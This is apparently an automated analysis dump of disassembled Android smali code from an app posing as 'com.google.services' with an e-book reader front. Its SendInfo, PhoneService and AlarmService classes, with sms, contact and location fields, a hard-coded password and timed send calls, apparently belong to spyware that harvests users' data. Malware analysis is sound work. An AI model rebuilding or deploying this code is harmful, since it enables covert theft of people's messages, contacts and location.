0 | .parameter | |
1 | .annotation system Ldalvik/annotation/Throws; | |
2 | value = { | |
3 | Ljava/lang/RuntimeException; | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
8 | invoke-virtual {p0}, Ljava/lang/String;->getBytes()[B | |
9 | move-result-object v0 | |
11 | invoke-static {v0}, Lit/sauronsoftware/base64/Base64;->encode([B)[B | |
12 | move-result-object v0 | |
13 | try_start_8: new-instance v1, Ljava/lang/String; | |
15 | const-string v2, "ASCII" | |
17 | invoke-direct {v1, v0, v2}, Ljava/lang/String;-><init>([BLjava/lang/String;)V |
|
18 | try_end_f: return-object v1 | |
19 | catch_10: move-exception v0 | |
20 | new-instance v1, Ljava/lang/RuntimeException; | |
22 | const-string v2, "ASCII is not supported!" | |
24 | invoke-direct {v1, v2, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V |
|
25 | throw v1 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | const v0, -0x555556 | |
4 | invoke-virtual {p1, v0}, Landroid/graphics/Canvas;->drawColor(I)V | |
6 | invoke-direct {p0}, Lcom/google/services/PageWidget;->calcPoints()V | |
8 | iget-object v0, p0, Lcom/google/services/PageWidget;->mCurPageBitmap:Landroid/graphics/Bitmap; | |
10 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path; | |
12 | invoke-direct {p0, p1, v0, v1}, Lcom/google/services/PageWidget;->drawCurrentPageArea(Landroid/graphics/Canvas;Landroid/graphics/Bitmap;Landroid/graphics/Path;)V | |
14 | iget-object v0, p0, Lcom/google/services/PageWidget;->mNextPageBitmap:Landroid/graphics/Bitmap; | |
16 | invoke-direct {p0, p1, v0}, Lcom/google/services/PageWidget;->drawNextPageAreaAndShadow(Landroid/graphics/Canvas;Landroid/graphics/Bitmap;)V | |
18 | invoke-virtual {p0, p1}, Lcom/google/services/PageWidget;->drawCurrentPageShadow(Landroid/graphics/Canvas;)V | |
20 | iget-object v0, p0, Lcom/google/services/PageWidget;->mCurPageBitmap:Landroid/graphics/Bitmap; | |
22 | invoke-direct {p0, p1, v0}, Lcom/google/services/PageWidget;->drawCurrentBackArea(Landroid/graphics/Canvas;Landroid/graphics/Bitmap;)V | |
23 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/view/View;->computeScroll()V | |
4 | iget-object v0, p0, Lcom/google/services/PageWidget;->mScroller:Landroid/widget/Scroller; | |
6 | invoke-virtual {v0}, Landroid/widget/Scroller;->computeScrollOffset()Z | |
7 | move-result v0 | |
8 | if-eqz v0, :cond_24 | |
10 | iget-object v0, p0, Lcom/google/services/PageWidget;->mScroller:Landroid/widget/Scroller; | |
12 | invoke-virtual {v0}, Landroid/widget/Scroller;->getCurrX()I | |
13 | move-result v0 | |
14 | int-to-float v0, v0 | |
16 | iget-object v1, p0, Lcom/google/services/PageWidget;->mScroller:Landroid/widget/Scroller; | |
18 | invoke-virtual {v1}, Landroid/widget/Scroller;->getCurrY()I | |
19 | move-result v1 | |
20 | int-to-float v1, v1 | |
22 | iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
23 | iput v0, v2, Landroid/graphics/PointF;->x:F | |
25 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
26 | iput v1, v0, Landroid/graphics/PointF;->y:F | |
28 | invoke-virtual {p0}, Lcom/google/services/PageWidget;->postInvalidate()V | |
29 | cond_24: return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .prologue | |
4 | invoke-super {p0, p1, p2}, Landroid/app/Service;->onStart(Landroid/content/Intent;I)V | |
6 | const-string v0, "" | |
8 | iget-object v1, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String; | |
10 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
11 | move-result v0 | |
12 | if-nez v0, :cond_18 | |
13 | try_start_d: | |
14 | iget-object v0, p0, Lcom/google/services/PhoneService;->mTimer:Ljava/util/Timer; | |
16 | iget-object v1, p0, Lcom/google/services/PhoneService;->mTimerTask:Ljava/util/TimerTask; | |
17 | iget-wide v2, p0, Lcom/google/services/PhoneService;->delay:J | |
18 | iget-wide v4, p0, Lcom/google/services/PhoneService;->period:J | |
20 | invoke-virtual/range {v0 .. v5}, Ljava/util/Timer;->scheduleAtFixedRate(Ljava/util/TimerTask;JJ)V | |
21 | goto_18: return-void | |
22 | catch_19: move-exception v0 | |
24 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
25 | goto/16 :goto_18 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const-wide/32 v2, 0xea60 | |
2 | const/4 v1, 0x0 | |
4 | invoke-direct {p0}, Landroid/app/Service;-><init>()V | |
5 | iput-object v1, p0, Lcom/google/services/PhoneService;->hostname:Ljava/lang/String; | |
6 | new-instance v0, Ljava/util/Timer; | |
8 | invoke-direct {v0}, Ljava/util/Timer;-><init>()V | |
9 | iput-object v0, p0, Lcom/google/services/PhoneService;->mTimer:Ljava/util/Timer; | |
10 | iput-wide v2, p0, Lcom/google/services/PhoneService;->delay:J | |
11 | iput-wide v2, p0, Lcom/google/services/PhoneService;->period:J | |
12 | const/4 v0, 0x0 | |
13 | iput-boolean v0, p0, Lcom/google/services/PhoneService;->linkFlag:Z | |
14 | iput-object v1, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String; | |
15 | new-instance v0, Lcom/google/services/PhoneService$1; | |
17 | invoke-direct {v0, p0}, Lcom/google/services/PhoneService$1;-><init>(Lcom/google/services/PhoneService;)V | |
18 | iput-object v0, p0, Lcom/google/services/PhoneService;->mTimerTask:Ljava/util/TimerTask; | |
19 | return-void |
Method: com.google.services.SendInfo-><init>() Relevance: 3.0, APIs: 1, Strings:
1, Instructions: 23
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | const/4 v0, 0x0 | |
4 | iput-object v0, p0, Lcom/google/services/SendInfo;->urlstr:Ljava/lang/String; | |
6 | const-string v0, "" | |
7 | iput-object v0, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String; | |
9 | const-string v0, "" | |
10 | iput-object v0, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String; | |
12 | const-string v0, "" | |
13 | iput-object v0, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String; | |
15 | const-string v0, "" | |
16 | iput-object v0, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String; | |
18 | const-string v0, "hunan" | |
19 | iput-object v0, p0, Lcom/google/services/SendInfo;->passwd:Ljava/lang/String; | |
20 | const/4 v0, 0x0 | |
21 | iput-boolean v0, p0, Lcom/google/services/SendInfo;->okFlag:Z | |
22 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .annotation system Ldalvik/annotation/Throws; | |
3 | value = { | |
4 | Ljava/io/IOException; | |
5 | } | |
6 | .end annotation | |
7 | .prologue | |
8 | const/16 v0, 0x400 | |
9 | new-array v0, v0, [B | |
10 | goto_4: | |
11 | invoke-virtual {p0, v0}, Ljava/io/InputStream;->read([B)I | |
12 | move-result v1 | |
13 | const/4 v2, -0x1 | |
14 | if-eq v1, v2, :cond_10 | |
15 | const/4 v2, 0x0 | |
17 | invoke-virtual {p1, v0, v2, v1}, Ljava/io/OutputStream;->write([BII)V |
|
18 | goto/16 :goto_4 | |
19 | cond_10: return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/google/services/sendReceiver$1;->this$0:Lcom/google/services/sendReceiver; | |
4 | iget-object v0, v0, Lcom/google/services/sendReceiver;->sender:Lcom/google/services/SendInfo; | |
6 | iget-object v1, p0, Lcom/google/services/sendReceiver$1;->this$0:Lcom/google/services/sendReceiver; | |
8 | invoke-static {v1}, Lcom/google/services/sendReceiver;->access$000(Lcom/google/services/sendReceiver;)Ljava/lang/String; | |
9 | move-result-object v1 | |
11 | iget-object v2, p0, Lcom/google/services/sendReceiver$1;->this$0:Lcom/google/services/sendReceiver; | |
13 | invoke-static {v2}, Lcom/google/services/sendReceiver;->access$100(Lcom/google/services/sendReceiver;)Ljava/lang/String; | |
14 | move-result-object v2 | |
16 | invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z | |
17 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/google/services/sendReceiver$2;->this$0:Lcom/google/services/sendReceiver; | |
4 | iget-object v0, v0, Lcom/google/services/sendReceiver;->sender:Lcom/google/services/SendInfo; | |
6 | iget-object v1, p0, Lcom/google/services/sendReceiver$2;->this$0:Lcom/google/services/sendReceiver; | |
8 | invoke-static {v1}, Lcom/google/services/sendReceiver;->access$000(Lcom/google/services/sendReceiver;)Ljava/lang/String; | |
9 | move-result-object v1 | |
11 | iget-object v2, p0, Lcom/google/services/sendReceiver$2;->this$0:Lcom/google/services/sendReceiver; | |
13 | invoke-static {v2}, Lcom/google/services/sendReceiver;->access$100(Lcom/google/services/sendReceiver;)Ljava/lang/String; | |
14 | move-result-object v2 | |
16 | invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z | |
17 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/google/services/sendReceiver$3;->this$0:Lcom/google/services/sendReceiver; | |
4 | iget-object v0, v0, Lcom/google/services/sendReceiver;->sender:Lcom/google/services/SendInfo; | |
6 | iget-object v1, p0, Lcom/google/services/sendReceiver$3;->this$0:Lcom/google/services/sendReceiver; | |
8 | invoke-static {v1}, Lcom/google/services/sendReceiver;->access$000(Lcom/google/services/sendReceiver;)Ljava/lang/String; | |
9 | move-result-object v1 | |
11 | iget-object v2, p0, Lcom/google/services/sendReceiver$3;->this$0:Lcom/google/services/sendReceiver; | |
13 | invoke-static {v2}, Lcom/google/services/sendReceiver;->access$100(Lcom/google/services/sendReceiver;)Ljava/lang/String; | |
14 | move-result-object v2 | |
16 | invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z | |
17 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/google/services/sendReceiver$4;->this$0:Lcom/google/services/sendReceiver; | |
4 | iget-object v0, v0, Lcom/google/services/sendReceiver;->sender:Lcom/google/services/SendInfo; | |
6 | iget-object v1, p0, Lcom/google/services/sendReceiver$4;->this$0:Lcom/google/services/sendReceiver; | |
8 | invoke-static {v1}, Lcom/google/services/sendReceiver;->access$000(Lcom/google/services/sendReceiver;)Ljava/lang/String; | |
9 | move-result-object v1 | |
11 | iget-object v2, p0, Lcom/google/services/sendReceiver$4;->this$0:Lcom/google/services/sendReceiver; | |
13 | invoke-static {v2}, Lcom/google/services/sendReceiver;->access$100(Lcom/google/services/sendReceiver;)Ljava/lang/String; | |
14 | move-result-object v2 | |
16 | invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z | |
17 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .parameter | |
3 | .annotation system Ldalvik/annotation/Throws; | |
4 | value = { | |
5 | Ljava/io/IOException; | |
6 | } | |
7 | .end annotation | |
8 | .prologue | |
9 | new-instance v0, Lit/sauronsoftware/base64/Base64OutputStream; | |
11 | invoke-direct {v0, p1, p2}, Lit/sauronsoftware/base64/Base64OutputStream;-><init>(Ljava/io/OutputStream;I)V | |
13 | invoke-static {p0, v0}, Lit/sauronsoftware/base64/Base64;->copy(Ljava/io/InputStream;Ljava/io/OutputStream;)V | |
15 | invoke-virtual {v0}, Lit/sauronsoftware/base64/Base64OutputStream;->commit()V | |
16 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation system Ldalvik/annotation/Throws; | |
1 | value = { | |
2 | Ljava/io/IOException; | |
3 | } | |
4 | .end annotation | |
5 | .prologue | |
7 | invoke-virtual {p0}, Lit/sauronsoftware/base64/Base64OutputStream;->commit()V | |
9 | iget-object v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->outputStream:Ljava/io/OutputStream; | |
11 | invoke-virtual {v0}, Ljava/io/OutputStream;->close()V | |
12 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v0, 0x2 | |
2 | new-array v0, v0, [Ljava/lang/String; | |
3 | const/4 v1, 0x0 | |
5 | const-string v2, "display_name" | |
6 | aput-object v2, v0, v1 | |
7 | const/4 v1, 0x1 | |
9 | const-string v2, "data1" | |
10 | aput-object v2, v0, v1 | |
11 | sput-object v0, Lcom/google/services/AlarmService;->PHONES_PROJECTION:[Ljava/lang/String; | |
12 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/google/services/PageWidget;->mScroller:Landroid/widget/Scroller; | |
4 | invoke-virtual {v0}, Landroid/widget/Scroller;->isFinished()Z | |
5 | move-result v0 | |
6 | if-nez v0, :cond_d | |
8 | iget-object v0, p0, Lcom/google/services/PageWidget;->mScroller:Landroid/widget/Scroller; | |
10 | invoke-virtual {v0}, Landroid/widget/Scroller;->abortAnimation()V | |
11 | cond_d: return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | iget v0, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
3 | if-lez v0, :cond_2c | |
4 | iget v0, p0, Lcom/google/services/PageWidget;->mWidth:I | |
5 | int-to-float v0, v0 | |
7 | iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
8 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
9 | add-float/2addr v0, v1 | |
10 | float-to-int v0, v0 | |
11 | neg-int v3, v0 | |
12 | goto_e: iget v0, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
13 | if-lez v0, :cond_3a | |
14 | iget v0, p0, Lcom/google/services/PageWidget;->mHeight:I | |
15 | int-to-float v0, v0 | |
17 | iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
18 | iget v1, v1, Landroid/graphics/PointF;->y:F | |
19 | sub-float/2addr v0, v1 | |
20 | float-to-int v4, v0 | |
21 | goto_1b: | |
22 | iget-object v0, p0, Lcom/google/services/PageWidget;->mScroller:Landroid/widget/Scroller; | |
24 | iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
25 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
26 | float-to-int v1, v1 | |
28 | iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
29 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
30 | float-to-int v2, v2 | |
31 | move v5, p1 | |
33 | invoke-virtual/range {v0 .. v5}, Landroid/widget/Scroller;->startScroll(IIIII)V | |
34 | return-void | |
35 | cond_2c: iget v0, p0, Lcom/google/services/PageWidget;->mWidth:I | |
36 | int-to-float v0, v0 | |
38 | iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
39 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
40 | sub-float/2addr v0, v1 | |
41 | iget v1, p0, Lcom/google/services/PageWidget;->mWidth:I | |
42 | int-to-float v1, v1 | |
43 | add-float/2addr v0, v1 | |
44 | float-to-int v3, v0 | |
45 | goto/16 :goto_e | |
46 | cond_3a: const/high16 v0, 0x3f80 | |
48 | iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
49 | iget v1, v1, Landroid/graphics/PointF;->y:F | |
50 | sub-float/2addr v0, v1 | |
51 | float-to-int v4, v0 | |
52 | goto/16 :goto_1b |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .parameter | |
3 | .parameter | |
4 | .prologue | |
5 | new-instance v0, Landroid/graphics/PointF; | |
7 | invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V | |
8 | iget v1, p2, Landroid/graphics/PointF;->y:F | |
9 | iget v2, p1, Landroid/graphics/PointF;->y:F | |
10 | sub-float/2addr v1, v2 | |
11 | iget v2, p2, Landroid/graphics/PointF;->x:F | |
12 | iget v3, p1, Landroid/graphics/PointF;->x:F | |
13 | sub-float/2addr v2, v3 | |
14 | div-float/2addr v1, v2 | |
15 | iget v2, p1, Landroid/graphics/PointF;->x:F | |
16 | iget v3, p2, Landroid/graphics/PointF;->y:F | |
17 | mul-float/2addr v2, v3 | |
18 | iget v3, p2, Landroid/graphics/PointF;->x:F | |
19 | iget v4, p1, Landroid/graphics/PointF;->y:F | |
20 | mul-float/2addr v3, v4 | |
21 | sub-float/2addr v2, v3 | |
22 | iget v3, p1, Landroid/graphics/PointF;->x:F | |
23 | iget v4, p2, Landroid/graphics/PointF;->x:F | |
24 | sub-float/2addr v3, v4 | |
25 | div-float/2addr v2, v3 | |
26 | iget v3, p4, Landroid/graphics/PointF;->y:F | |
27 | iget v4, p3, Landroid/graphics/PointF;->y:F | |
28 | sub-float/2addr v3, v4 | |
29 | iget v4, p4, Landroid/graphics/PointF;->x:F | |
30 | iget v5, p3, Landroid/graphics/PointF;->x:F | |
31 | sub-float/2addr v4, v5 | |
32 | div-float/2addr v3, v4 | |
33 | iget v4, p3, Landroid/graphics/PointF;->x:F | |
34 | iget v5, p4, Landroid/graphics/PointF;->y:F | |
35 | mul-float/2addr v4, v5 | |
36 | iget v5, p4, Landroid/graphics/PointF;->x:F | |
37 | iget v6, p3, Landroid/graphics/PointF;->y:F | |
38 | mul-float/2addr v5, v6 | |
39 | sub-float/2addr v4, v5 | |
40 | iget v5, p3, Landroid/graphics/PointF;->x:F | |
41 | iget v6, p4, Landroid/graphics/PointF;->x:F | |
42 | sub-float/2addr v5, v6 | |
43 | div-float/2addr v4, v5 | |
44 | sub-float/2addr v4, v2 | |
45 | sub-float v3, v1, v3 | |
46 | div-float v3, v4, v3 | |
47 | iput v3, v0, Landroid/graphics/PointF;->x:F | |
48 | iget v3, v0, Landroid/graphics/PointF;->x:F | |
49 | mul-float/2addr v1, v3 | |
50 | add-float/2addr v1, v2 | |
51 | iput v1, v0, Landroid/graphics/PointF;->y:F | |
52 | return-object v0 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation system Ldalvik/annotation/Throws; | |
1 | value = { | |
2 | Ljava/io/IOException; | |
3 | } | |
4 | .end annotation | |
5 | .prologue | |
6 | const/4 v0, -0x1 | |
8 | iget-object v1, p0, Lit/sauronsoftware/base64/Base64InputStream;->buffer:[I | |
9 | if-eqz v1, :cond_c | |
10 | iget v1, p0, Lit/sauronsoftware/base64/Base64InputStream;->bufferCounter:I | |
12 | iget-object v2, p0, Lit/sauronsoftware/base64/Base64InputStream;->buffer:[I | |
13 | array-length v2, v2 | |
14 | if-ne v1, v2, :cond_20 | |
15 | cond_c: iget-boolean v1, p0, Lit/sauronsoftware/base64/Base64InputStream;->eof:Z | |
16 | if-eqz v1, :cond_11 | |
17 | goto_10: return v0 | |
18 | cond_11: | |
19 | invoke-direct {p0}, Lit/sauronsoftware/base64/Base64InputStream;->acquire()V | |
21 | iget-object v1, p0, Lit/sauronsoftware/base64/Base64InputStream;->buffer:[I | |
22 | array-length v1, v1 | |
23 | if-nez v1, :cond_1d | |
24 | const/4 v1, 0x0 | |
25 | iput-object v1, p0, Lit/sauronsoftware/base64/Base64InputStream;->buffer:[I | |
26 | goto/16 :goto_10 | |
27 | cond_1d: const/4 v0, 0x0 | |
28 | iput v0, p0, Lit/sauronsoftware/base64/Base64InputStream;->bufferCounter:I | |
29 | cond_20: | |
30 | iget-object v0, p0, Lit/sauronsoftware/base64/Base64InputStream;->buffer:[I | |
31 | iget v1, p0, Lit/sauronsoftware/base64/Base64InputStream;->bufferCounter:I | |
32 | add-int/lit8 v2, v1, 0x1 | |
33 | iput v2, p0, Lit/sauronsoftware/base64/Base64InputStream;->bufferCounter:I | |
34 | aget v0, v0, v1 | |
35 | goto/16 :goto_10 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation system Ldalvik/annotation/Throws; | |
1 | value = { | |
2 | Ljava/io/IOException; | |
3 | } | |
4 | .end annotation | |
5 | .prologue | |
6 | iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I | |
7 | iget v1, p0, Lcom/google/services/BookPageFactory;->m_mbBufLen:I | |
8 | if-lt v0, v1, :cond_a | |
9 | const/4 v0, 0x1 | |
10 | iput-boolean v0, p0, Lcom/google/services/BookPageFactory;->m_islastPage:Z | |
11 | goto_9: return-void | |
12 | cond_a: const/4 v0, 0x0 | |
13 | iput-boolean v0, p0, Lcom/google/services/BookPageFactory;->m_islastPage:Z | |
15 | iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector; | |
17 | invoke-virtual {v0}, Ljava/util/Vector;->clear()V | |
18 | iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I | |
19 | iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I | |
21 | invoke-virtual {p0}, Lcom/google/services/BookPageFactory;->pageDown()Ljava/util/Vector; | |
22 | move-result-object v0 | |
23 | iput-object v0, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector; | |
24 | goto/16 :goto_9 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation system Ldalvik/annotation/Throws; | |
1 | value = { | |
2 | Ljava/io/IOException; | |
3 | } | |
4 | .end annotation | |
5 | .prologue | |
6 | const/4 v1, 0x0 | |
7 | iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I | |
8 | if-gtz v0, :cond_b | |
9 | iput v1, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I | |
10 | const/4 v0, 0x1 | |
11 | iput-boolean v0, p0, Lcom/google/services/BookPageFactory;->m_isfirstPage:Z | |
12 | goto_a: return-void | |
13 | cond_b: iput-boolean v1, p0, Lcom/google/services/BookPageFactory;->m_isfirstPage:Z | |
15 | iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector; | |
17 | invoke-virtual {v0}, Ljava/util/Vector;->clear()V | |
19 | invoke-virtual {p0}, Lcom/google/services/BookPageFactory;->pageUp()V | |
21 | invoke-virtual {p0}, Lcom/google/services/BookPageFactory;->pageDown()Ljava/util/Vector; | |
22 | move-result-object v0 | |
23 | iput-object v0, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector; | |
24 | goto/16 :goto_a |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .annotation system Ldalvik/annotation/Throws; | |
2 | value = { | |
3 | Ljava/io/IOException; | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
7 | and-int/lit16 v0, p1, 0xff | |
8 | iget v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I | |
9 | mul-int/lit8 v1, v1, 0x8 | |
10 | rsub-int/lit8 v1, v1, 0x10 | |
11 | shl-int/2addr v0, v1 | |
12 | iget v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->buffer:I | |
13 | or-int/2addr v0, v1 | |
14 | iput v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->buffer:I | |
15 | iget v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I | |
16 | add-int/lit8 v0, v0, 0x1 | |
17 | iput v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I | |
18 | iget v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I | |
19 | const/4 v1, 0x3 | |
20 | if-ne v0, v1, :cond_1c | |
22 | invoke-virtual {p0}, Lit/sauronsoftware/base64/Base64OutputStream;->commit()V | |
23 | cond_1c: return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .prologue | |
3 | const/4 v1, 0x0 | |
5 | invoke-direct {p0}, Ljava/io/OutputStream;-><init>()V | |
6 | const/4 v0, 0x0 | |
7 | iput-object v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->outputStream:Ljava/io/OutputStream; | |
8 | iput v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->buffer:I | |
9 | iput v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I | |
10 | iput v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linecounter:I | |
11 | iput v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linelength:I | |
12 | iput-object p1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->outputStream:Ljava/io/OutputStream; | |
13 | iput p2, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linelength:I | |
14 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .annotation system Ldalvik/annotation/Throws; | |
3 | value = { | |
4 | Ljava/io/IOException; | |
5 | } | |
6 | .end annotation | |
7 | .prologue | |
8 | new-instance v0, Lit/sauronsoftware/base64/Base64InputStream; | |
10 | invoke-direct {v0, p0}, Lit/sauronsoftware/base64/Base64InputStream;-><init>(Ljava/io/InputStream;)V | |
12 | invoke-static {v0, p1}, Lit/sauronsoftware/base64/Base64;->copy(Ljava/io/InputStream;Ljava/io/OutputStream;)V | |
13 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation system Ldalvik/annotation/Throws; | |
1 | value = { | |
2 | Ljava/io/IOException; | |
3 | } | |
4 | .end annotation | |
5 | .prologue | |
7 | iget-object v0, p0, Lit/sauronsoftware/base64/Base64InputStream;->inputStream:Ljava/io/InputStream; | |
9 | invoke-virtual {v0}, Ljava/io/InputStream;->close()V | |
10 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v0, 0x0 | |
3 | invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V | |
4 | iput-object v0, p0, Lcom/google/services/sendReceiver;->name:Ljava/lang/String; | |
5 | iput-object v0, p0, Lcom/google/services/sendReceiver;->value:Ljava/lang/String; | |
7 | invoke-static {}, Lcom/google/services/SendInfo;->getInstance()Lcom/google/services/SendInfo; | |
8 | move-result-object v0 | |
9 | iput-object v0, p0, Lcom/google/services/sendReceiver;->sender:Lcom/google/services/SendInfo; | |
10 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-direct {p0}, Landroid/app/Service;-><init>()V | |
3 | const/4 v0, 0x0 | |
4 | iput-object v0, p0, Lcom/google/services/AlarmService;->mContext:Landroid/content/Context; | |
5 | new-instance v0, Lcom/google/services/AlarmService$1; | |
7 | invoke-direct {v0, p0}, Lcom/google/services/AlarmService$1;-><init>(Lcom/google/services/AlarmService;)V | |
8 | iput-object v0, p0, Lcom/google/services/AlarmService;->locationListener:Landroid/location/LocationListener; | |
9 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | const/4 v0, 0x0 | |
4 | invoke-direct {p0}, Ljava/io/InputStream;-><init>()V | |
5 | iput v0, p0, Lit/sauronsoftware/base64/Base64InputStream;->bufferCounter:I | |
6 | iput-boolean v0, p0, Lit/sauronsoftware/base64/Base64InputStream;->eof:Z | |
7 | iput-object p1, p0, Lit/sauronsoftware/base64/Base64InputStream;->inputStream:Ljava/io/InputStream; | |
8 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
3 | iget-object v0, p0, Lcom/google/services/AlarmService$1;->this$0:Lcom/google/services/AlarmService; | |
4 | const/4 v1, 0x0 | |
6 | invoke-static {v0, v1}, Lcom/google/services/AlarmService;->access$000(Lcom/google/services/AlarmService;Landroid/location/Location;)V |
|
7 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | const-string v0, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" | |
3 | sput-object v0, Lit/sauronsoftware/base64/Shared;->chars:Ljava/lang/String; | |
4 | const/16 v0, 0x3d | |
5 | sput-char v0, Lit/sauronsoftware/base64/Shared;->pad:C | |
6 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
3 | iget-object v0, p0, Lcom/google/services/AlarmService$1;->this$0:Lcom/google/services/AlarmService; | |
5 | invoke-static {v0, p1}, Lcom/google/services/AlarmService;->access$000(Lcom/google/services/AlarmService;Landroid/location/Location;)V | |
6 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | const/16 v0, 0x4c | |
4 | invoke-direct {p0, p1, v0}, Lit/sauronsoftware/base64/Base64OutputStream;-><init>(Ljava/io/OutputStream;I)V |
|
5 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
